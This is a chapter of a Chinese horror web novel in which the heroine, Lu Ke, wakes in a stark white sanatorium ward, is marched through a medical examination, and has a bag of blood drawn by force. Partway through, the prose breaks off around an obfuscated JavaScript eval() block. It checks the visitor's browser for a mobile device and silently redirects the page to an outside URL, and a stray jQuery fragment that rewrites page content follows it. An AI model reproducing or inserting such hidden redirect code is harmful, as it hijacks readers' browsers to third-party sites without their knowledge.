130. 阳光疗养院(十三)
    体检?

    207号?是谁?

    恍恍惚惚之间,鹿可似乎看到眼前有七彩朦胧的光影在旋转,耳边也传来了一道奇奇怪怪的女声,说着她完全听不懂的话语。

    这究竟是怎么回事?

    头...好疼...

    鹿可只觉得脑中一阵钝痛,昏昏沉沉的,像是有一股巨力在搅动。她像是陷进了梦魇之中,白皙娇嫩的脸上满是痛苦纠结之色,费尽了千般力气,才掀动了沉重的眼皮。

    “207号,醒醒,该体检了。”

    耳边的声音仍在喋喋不休,眼睛的缝隙处闪现一道刺目的光亮,一瞬间像极了晕眩的重影,激得鹿可的眼眶泛酸,沁出了几滴泪水。

    但也让她从重重的困倦与钝痛中清醒过来。

    她艰难地睁开了眼睛,入目的就是刺眼的白光,明晃晃的白炽灯高高的悬挂在天花板上,照亮了眼前的每一寸地方,驱散了所有的黑暗和阴霾。

    耀眼得,恍如白昼。

    这...是哪里?

    在睁开眼看到光亮的一瞬间,鹿可就意识到了,这并不是在原来的207室,她也不是躺在207室那张硌人的单人床上。

    地点不对,光线太亮。

    鹿可有些费力的扭过自己的脑袋,向刚刚发出声音的另一侧望去,就看到了一张熟悉又陌生的面孔。

    是送餐的娃娃脸护士。

    只是此刻的她,和之前却又不太相似。穿着一身白色的护士服,身材矮矮胖胖,脸蛋是圆圆的娃娃脸...长相穿着和之前一模一样,但表情...

    看着鹿可,浑然是个陌生人。

    初见时凶恶又不耐烦的表情,此时一脸毫无波动的冷漠。她脸色惨白,目光冰冷,拿着一个夹着病历单的记录板,一边翻看,一边打量着鹿可,就像是看着一件明码标价的货物。

    “跟我走,去体检。”在看到鹿可醒来后,声音像是在冰水里浸泡过似的,冷得冻人。

    竟然真的是体检?

    鹿可揉了揉仍然有些发蒙、疼痛的脑袋,挣扎着从床上爬了起来。

    这是一张可以移动的病床,此时床头正靠着墙摆放在病房里。床单、被褥、枕头都是纯粹的白色,再看看墙壁、天花板、地砖、床头柜、窗帘等等,也都是白色。

    明晃晃的,一间单人的病房。

    一瞬间,鹿可觉得自己似乎来到了纯白的世界。

    只是在这纯白的世界中,却能感受到冰冷刺骨的寒意,和一直萦绕在鼻尖的消毒水的味道。

    唯一值得令人注意的则是,窗户边被拉得严严实实的白色窗帘,遮住了不知道是白天还是黑夜的外面世界。但在屏气凝神之下,似乎能听到若有似无的呜咽声。

    这究竟是怎么回事?

    她不是睡在207室狭小隔间的单人床上吗?怎么一睁眼就来到了这个病房,还遇到了和之前截然不同脾性的娃娃脸护士,而且脑袋还昏昏沉沉的疼痛,意识也有些不清醒...

    像是从极度困倦中,被强制唤醒似的。

    如果没记错的话,在沉睡之前,她似乎再次闻到了一股奇异的香味。

    “快点!207号!”走至门口的娃娃脸护士,看到了仍然坐在病床上的鹿可,语气稍显愤怒的催促道,周身的气息也愈加冰冷,似乎要冻结周围的空气。

    被针对的鹿可自然也不好受,在察觉到扑面袭来的彻骨寒意后,她掀开了盖在身上的薄被,露出了穿着病号服的双腿,有些踉跄的站到了地面上。

    脚下是一双塑胶的病房拖鞋,并不是很合脚。

    这时,鹿可才发现,自己身上的粉色的护工服,已经被置换成了蓝白条纹的病号服。

    又是在她毫不知情的情况下,被更换了衣服。

    鹿可心里的疑惑更甚了。

    但在目前什么都不太明朗的情况下,她也只能先跟着娃娃脸护士走一遭,摸清一下此时的情况了。

    于是,便穿着不合脚的拖鞋,亦步亦趋的跟在了娃娃脸护士的身后,走出了这间病房。

    病房外是一样恍若白昼的走廊,洁白的墙壁、天花板、地板,和存在于每一处的炽热灯光。

    两侧是和鹿可刚刚所待的病房一样的房间,错落有致的排布着。与疗养院错落排布的病房倒是有几分相似。

    她十分确信,虽然不知道自己为什么会清醒的出现在这里,但这肯定也是属于疗养院的地盘。而这满目的耀眼白光,都在假装这好似医院的地方,正处于白天。

    但真的是白天吗?

    并不见得。

    鹿可她,实在是太过于疲惫了,根本不像是熟睡了一晚的状态,脑袋依然发蒙。她也只能尽力指尖掐住掌心,再次戳破了之前的伤口,保持清醒。

    一路上,跟着娃娃脸护士,走过了十几间房子,拐过了弯,才来到了所谓的体检的地方。

    一开始是极为常见的耳鼻喉科检查,在同一个房间内,简单的就糊弄过去了。接下来是下一个房间的内科和外科,下下个房间的B超,下下下个房间的心电图,以及胸透。

    这附近的七八个房间都是体检的房间。房间内都有着相应的设备,以及鹿可从来没有见过的——疗养院的医生。

    医生们男男女女都有,但都穿着统一制式的白大褂,黑西裤,头顶带着医用的帽子,脸上戴着遮住了大半张脸的医用口罩,和大框的黑框眼睛。

    几乎都看不到样貌。

    他们僵硬又沉默的进行着手里的动作,检查、写字、盖章。然后由一直领着鹿可前进的娃娃脸护士收走所有的检查单。

    直到走到了最后一个体检的房间——血常规。

    在进门的一瞬间,房门就被一旁站着娃娃脸护士关上了。不过七八平米的小房间,一张占据了一两平米的长桌处在房间的正中间,桌子上摆放了不少酒精、棉花、纱布、针管之类的东西,还有装满了鲜血的血袋。

    这是验血?还是抽血?

    鹿可条件反射性的就要后退,脊背却结结实实的撞到了身后坚硬的门板。

    紧接着还不等她反应,娃娃脸护士,就按着她的肩膀,将她压着坐在了桌子前面的椅子上。直接拎起了她的右手,撸起了宽大的病号服,把右臂强制性的搁置在了长桌之上。

    坐在后面的女医生,动作也是飞快。直接掏出了一根比手指略细一些的橡皮管,扎在了鹿可的手臂上。

    用沾过酒精的医用棉花擦拭了一下橡皮管附近的皮肤,确定能清晰的看清血管之后,便拿起了一边的针管,尖锐的针孔瞬间就扎进了她的血管里。

    期间,娃娃脸护士和女医生的双手,就像是坚硬的磐石一般,完全压制住了鹿可的动作,让她丝毫都动弹不得。

    更不要提挣扎逃跑了。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404211|128995||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    鲜红的血液顺着针孔流出,又顺着针管流进管子里,再一点一点的流到血袋中。为了方便血液的流动,女医生解开了扎紧的橡皮管,还往鹿可的右掌心里塞了一个红球,将她的手握成了拳状。

    随着血液的流逝,鹿可顿时觉得眼前一阵发黑,脑袋里的痛感也愈加明显,整个人都因为失血而几乎快要晕过去了。

    压在她肩膀上的双手,冰冷又坚实。谁能想到?白日里还算和善的护士,现在竟成了禁锢她的最大的一座大山。

    而对面女医生冰冷的双手也大力地抓着鹿可的双手,不让她挣脱。

    鹿可自然可以手脚并用的死命挣脱,但是吃苦的,只会是自己。挣扎期间,扎好的针管肯定会胡乱的移动,而她一个人,显然也不是力大无穷的女医生和娃娃脸护士的对手。

    单打独斗,还尚且有抓住机会逃脱的可能,但同时面对两个...

    双拳焉能打得过四手?

    最好的逃脱时间,已经被她错过了。若是在刚刚的病房里,将娃娃脸护士解决掉,就没有现在这么一遭了。

    只是,这也丧失了观察这个地方的机会。

    再者,鹿可观察了一下桌面上的血袋,都是单独的包装,上面还贴着编号。每个编号,只对应着一个血袋。

    如果房间号对应的就是他们现在的编号,在她之前,就有201和204编号的血袋。看来,叶寒和楼慕青两人,也没有躲过这一出。

    失血仍在继续,鹿可的身体也因为失血而有些发冷。

    透明的空血袋,一点一点的填充着血液,逐渐鼓起,撑满了一整包。女医生这才拔下了鹿可胳膊上的针孔,随手拿了块蘸了酒精的医用棉花,给她擦了擦伤口。

    女医生的技术显然不错,刚拔出来针孔的伤口并没有鲜血流出,像是一颗小红点,隐隐刺痛。

    和今天早上,鹿可在左手手腕处发现的伤口一模一样。

    娃娃脸护士也顺势松开了压住她肩膀的双手,拿起了刚刚顺手放在长桌上的病历夹,不带一丝感情的说道:“走吧。”

    说完,就径直拉开了房间的大门,朝外面走去。

    鹿可也只能踉踉跄跄的站了起来,沉默的跟着走了出去,在走出房门的一刹那,回身。

    瞧见了女医生正拿着一个标签朝她刚刚抽血的血袋上贴去。

    掩门,离开。

    眉目间肃然一片冷意。

    她似乎有些明白,这个疗养院究竟想干些什么了。

    一路上,鹿可沉默地跟在娃娃脸护士的身后,眼睛却不动声色的打量着周围的环境。等到回到自己的病房门前时,她才有些虚弱的开口问道:

    “护士,我的身体怎么了?为什么会要住院?”

    娃娃脸护士转身,看向鹿可,惨白又冷漠的脸上,突然露出了似笑非笑的神情,她轻嗤了一声,冷笑着说道:“自然是,你有病啊。放宽心,治好了,自然会——送你出去。”

    说完一把就将鹿可塞进了房间,关上房门,朝着另外的房间走去。

    送?

    怎么送?

    送她的尸体出去?

    思索间,门外又是一阵响动。鹿可悄悄将病房的门拉开了一条细缝,只看到明亮的光线中,娃娃脸护士,正带着潘之瑞,向着她之前去过的地方走动。

    潘之瑞茫然的,就像当时的她。